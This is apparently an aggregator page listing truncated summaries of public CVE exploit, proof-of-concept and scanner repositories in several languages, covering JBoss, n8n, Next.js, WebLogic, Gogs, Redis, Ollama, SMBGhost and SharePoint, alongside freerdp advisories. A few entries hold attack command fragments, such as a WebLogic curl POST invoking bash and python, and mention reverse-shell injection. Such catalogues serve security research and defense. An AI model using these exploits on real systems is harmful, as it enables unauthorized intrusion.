cve-2017-12149-playground

Many critical industries banking, healthcare, and manufacturing rely on legacy middleware that was built to run specifically on JBoss 5 or 6. Because these applications are often too fragile to migrate to modern versions of WildFly the successor to JBoss, organizations choose to "air-gap" or hide...

CVE-2025-68613

CVE-2025-68613 n8n 是一款开源的工作流自动化平台。自 0.211.0 版本起至 1.120.4、1.121.1 和 1.122.0 之前的版本，其工作流表达式评估系统中存在一个严重的远程代码执行（RCE）漏洞。在某些条件下，由认证用户在工作流配置期间提供的表达式可能会在未充分与底层运行时隔离的执行上下文中被评估。经过身份验证的攻击者可利用此行为，以 n8n 进程的权限执行任意代码。成功利用该漏洞可能导致受影响实例被完全控制，包括未经授权访问敏感数据、修改工作流以及执行系统级操作。此问题已在 1.120.4、1.121.1 和 1.122.0...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js-RSC-RCE-Scanner-CVE-2025-66478 CVE-2025-66478 Next.js 漏洞扫描器。检测网站是否使用了受 RSC（React Server Components）RCE 漏洞影响的 Next.js 版本。 安装和运行 使用 uv（推荐） uv 是一个快速的 Python 包管理器。 1. 安装 uv root@kitploit: macOS/Linux curl -LsSf https://astral.sh/uv/install.sh | sh Windows PowerShell powershell -ExecutionPolic...

Exploit-CVE-2019-2725

エクスプロイト-CVE-2019-2725 CVE-2019-2725 のシンプルなエクスプロイト。 サンプルコード: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - CVE-2019-11447 概念実証 POC作成者: CRFSlick、発見者: AkkuS CutePHP CuteNews 2.1.2 に問題が発見されました。攻撃者はプロフィール領域のアバターアップロード処理を介して、avatarfile フィールドを使って index.php?mod=main&opt=personal にアクセスし、サーバーに侵入できます。/core/modules/dashboard.php 内の $imgsize...

CVE-2024-3400-POC

CVE-2024-3400 RCE テストスクリプト 概要 このPythonスクリプトは、特定のPalo Alto Networks GlobalProtectポータルに影響を与えるリモートコード実行（RCE）脆弱性、具体的にはCVE-2024-3400をテストするために設計されています。この脆弱性により、Cookie操作を介して不正なコマンド実行が可能になります。 このスクリプトは、base64エンコードされたコマンド（echo test）を含むCookieペイロードを添えて、指定されたURLのリストに安全なHTTP...

CVE-2025-8110-Gogs-RCE-Exploit

Gogs CVE-2025-8110 RCE 漏洞利用 针对 Gogs 中 CVE-2025-8110 的自动 Python 漏洞利用脚本。该漏洞通过滥用 PutContents API（未能验证文件路径是否为符号链接）实现远程代码执行（RCE）。通过符号链接覆盖内部 .git/config 文件，我们可以注入恶意 sshCommand 来触发反向 Shell。 🛠️ 前提条件 确保已安装 Python 3 以及必要的依赖项： root@kitploit: pip install requests rich beautifulsoup4 你还必须安装 git 并确保其在 $PATH...

CVE-2025-55182

🚨 CVE-2025-55182 — React2Shell CVE-2025-55182 は、React Server Components RSC に影響を与える深刻な リモートコード実行 RCE の脆弱性です。 📌 概要 この脆弱性により、認証されていない攻撃者 が脆弱なサーバー上で任意のコードを実行できるようになります。 問題は、React Server Component Server Function エンドポイントにおける安全でないデシリアライゼーション に起因します。不適切なバリデーションにより、特別に細工されたリクエストが悪意のあるペイロードを実行することを許容します。...

CVE-2025-60787

CVE-2025-60787 - MotionEye RCE MotionEye v0.43.1b4 操作系统命令注入 针对 motionEye（一个用于 motion 守护进程的 Web 前端）漏洞的 OS 命令注入概念验证利用。该漏洞滥用了 imagefilename 配置参数，该参数未经净化地直接传递给 shell，允许通过 $command 子 shell 语法进行任意命令注入。 免责声明： 仅用于您已获得明确许可进行测试的系统。未经授权使用是非法的。 目录 漏洞工作原理 前提条件 步骤 1 — 查找管理员密码哈希 步骤 2 — 理解身份验证链 步骤 3 — 理解签名算法 步骤 ...

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- Referencia: https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - código python para ejecutar...

CVE-2025-49844

🚨 CVE-2025-49844 — “RediShell” 世界最速のインメモリストアにおける重大なリモートコード実行 Redis Lua スクリプティングが、認証後の侵入経路として完璧な場所になりました。 認証済み攻撃者 → 細工されたLuaスクリプト → サンドボックスエスケープ → ホスト上での完全なRCE ⚠️ 概要 CVE-2025-49844 "RediShell " は、Redis の組み込み Lua スクリプティングエンジンにおける 重大な use-after-free UAF メモリ破損 の脆弱性です。 認証済み ユーザーが EVAL / EVALSHA...

freerdp security update

An update is available for freerdp. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list FreeRDP is a free implementation of the Remote Desktop Protocol RDP, released...

RLSA-2026:61379 Important: freerdp security update

FreeRDP is a free implementation of the Remote Desktop Protocol RDP, released under the Apache license. The xfreerdp client can connect to RDP servers such as Microsoft Windows machines, xrdp, and VirtualBox. Security Fixes: FreeRDP: FreeRDP: Memory disclosure or denial of service via crafted RDP...

CVE-2024-32002-poc

Bashスクリプト: root@kitploit: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path telltalepath="$PWD/tell.tale...

Burp_CVE-2025-31324

CVE-2025-31324 Burp Suite 拡張機能 概要 このPythonベースのBurp Suite拡張機能は、SAP NetWeaver Visual ComposerのMetadata Uploaderコンポーネントにおける重大な脆弱性 CVE-2025-31324 の存在を検出するために設計されています。この脆弱性は、認可チェックの欠如により、ファイルアップロードを介した認証なしのリモートコード実行を許容します。拡張機能は、/developmentserver/metadatauploader...

CVE-2025-55182

React2Shell Ultimate Scanner 用于 CVE-2025-55182 的专业 Next.js RSC RCE 漏洞扫描器 🎯 概述 React2Shell Ultimate 是一款针对 CVE-2025-55182 的综合性漏洞扫描器——该漏洞是影响使用 React Server Components（RSC）的 Next.js 应用程序的严重远程代码执行（RCE）漏洞。 模板 PoC 🚀 快速开始 root@kitploit: 执行命令 ./curlid.sh -d https://target.com -c id ⚠️ 法律免责声明 仅限授权安全测试...

CVE-2024-37032

CVE-2024-37032 Ollama における不正なレジストリサーバによるパストラバーサル Probllama: Ollama リモートコード実行の脆弱性 CVE-2024-37032 – 概要と対策 から学ぶ 脆弱性環境 root@kitploit: docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33 不正なレジストリサーバ HOST を自身のホストに変更してください（ポート番号は含めないでください ） python3 server.py で実行 PoC の...

Exploiting-Stagefright-Vulnerability-CVE-2015-3864

悪用-Stagefright-脆弱性-CVE-2015-3864 Stagefrightは、Android 2.2 "Froyo" から 5.1.1 "Lollipop" までのソフトウェアの欠陥のセットを指し、当時のAndroid端末の95%に影響を与えました。この脆弱性が悪用されると、攻撃者はリモートコード実行と権限昇格を利用して、被害者のデバイス上で任意の操作を行うことができます。そこで、このプロジェクトでは、この脆弱性を使用してAndroid 5.1.1 "Lollipop" を悪用します。 Keywords: Androidハッキング, 携帯電話ハッキング, Metasploi...

Microsoft-Windows-SMBGhost-Vulnerability-Checker---CVE-2020-0796---SMBv3-RCE

Microsoft Windows SMBGhost 漏洞检查器 - CVE-2020-0796 - SMBv3-RCE 该扫描器仅用于测试服务器是否存在漏洞。它不用于研究或开发，因此使用固定的有效载荷。 它通过协商请求检查SMB方言3.1.1和压缩能力。 扫描器针对Windows 2019服务器10.0.0.133运行的网络转储文件可在SMBGhost.pcap中找到。 使用方法 python3 smbrcechecker.py python3 smbrcechecker.py IP python3 smbrcechecker.py SUBNET 原始来源...

LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

🧠 LetsDefend SharePoint 零日分析（ToolShell - SOC342-CVE-2025-53770） 📘 引言 我在 LetsDefend 网络实验室中调查了一个名为 ToolShell（CVE-2025-53770） 的 SharePoint 零日漏洞。 该演练模拟了一次真实世界的零日 RCE 攻击 ：恶意 POST 请求绕过身份验证，执行 PowerShell 窃取 MachineKeySection 密钥，编译 payload.exe，并植入恶意 Web Shell（spinstall0.aspx）。 本 README 记录了攻击过程、取证步骤、遏制措施...